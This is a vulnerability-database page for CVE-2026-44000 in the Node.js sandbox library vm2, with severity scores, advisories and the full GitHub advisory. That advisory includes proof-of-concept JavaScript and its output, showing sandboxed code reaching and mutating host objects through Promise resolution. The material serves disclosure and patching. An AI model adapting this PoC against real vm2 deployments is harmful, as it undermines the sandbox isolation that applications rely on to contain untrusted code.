CVE-2026-44000

highPriorität · verfolgen · 29EPSS 0.002 · 10. PerzentilDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.20% (10th) EPSS
CVSS 7.2 · high
Is it mine?
9 products
Prüfe deine Angriffsfläche
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · bewertet 2026-10-27

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.2
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.5–7.2

v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nprimary · NVD / NIST USAusnutzbarkeit 3.9 · Auswirkung 2.7
v3.17.2highAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · FSTEC (BDU) RU
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:Nsecondary · ENISA EU
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 2.5
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:Nsecondary · OSV
v3.16.6mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (9)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-1349vm2: Mehrere SchwachstellenDeutsch2026-05-03csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.

  • GHSA-mpf8-4hx2-7cjgvm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary2026-05-07ghsa · osvUS

    ### Summary A sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including: - Performing identity checks using host-side `WeakMap` - Mutating host object state from inside the sandbox This behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. --- ### Details In `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`: ```js globalPromise.prototype.then = function then(onFulfilled, onRejected) { resetPromiseSpecies(this); if (typeof onFulfilled === 'function') { const origOnFulfilled = onFulfilled; onFulfilled = function onFulfilled(value) { value = ensureThis(value); return apply(origOnFulfilled, this, [value]); }; } return apply(globalPromiseThen, this, [onFulfilled, onRejected]); }; The wrapper calls ensureThis(value) before invoking the sandbox callback. However, ensureThis is implemented in bridge.js as thisEnsureThis(): function thisEnsureThis(other) { const type = typeof other; switch (type) { case 'object': if (other === null) return null; case 'function': let proto = thisReflectGetPrototypeOf(other); if (!proto) { return other; } while (proto) { const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]); if (mapping) { const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); if (mapped) return mapped; return mapping(defaultFactory, other); } proto = thisReflectGetPrototypeOf(proto); } return other; If no prototype mapping is found, ensureThis() simply returns the original object: return other; This means the sandbox receives the original host object instead of a proxied or sanitized representation. Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved. PoC The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox. WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity. PoC Code import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ"}; const hostPromise = Promise.resolve(hostObj); // WeakMap created on the host const wm = new WeakMap([[hostObj, "HIT"]]); const vm = new VM({ sandbox: {hostPromise, wm}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => ({ weakMapGet: wm.get(v), typeofV: typeof v, tag: v.tag })) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST SAME KEY STILL:", wm.get(hostObj)); Output VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' } HOST SAME KEY STILL: HIT This confirms that the object delivered to the sandbox callback retains host identity. Additional Demonstration: Host Object Mutation The sandbox can also mutate host object state through the resolved Promise value. import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ", nested: {x: 1}}; const hostPromise = Promise.resolve(hostObj); const vm = new VM({ sandbox: {hostPromise}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => { v.nested.x = 999; v.tag = "MUTATED"; return { seenTag: v.tag, seenX: v.nested.x }; }) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST AFTER:", hostObj); **Output:** VM RESULT: { seenTag: 'MUTATED', seenX: 999 } HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } } This demonstrates write-through mutation of a host object from sandbox code. **Impact** This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution. Consequences include: Host object identity disclosure Write-through mutation of host objects WeakMap / WeakSet identity oracle across the boundary Potential capability leaks if sensitive host objects are reachable via Promises Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects. This weakens the intended isolation guarantees of vm2.

06

auch bekannt als (4)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-05-13geändert 2026-10-26
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan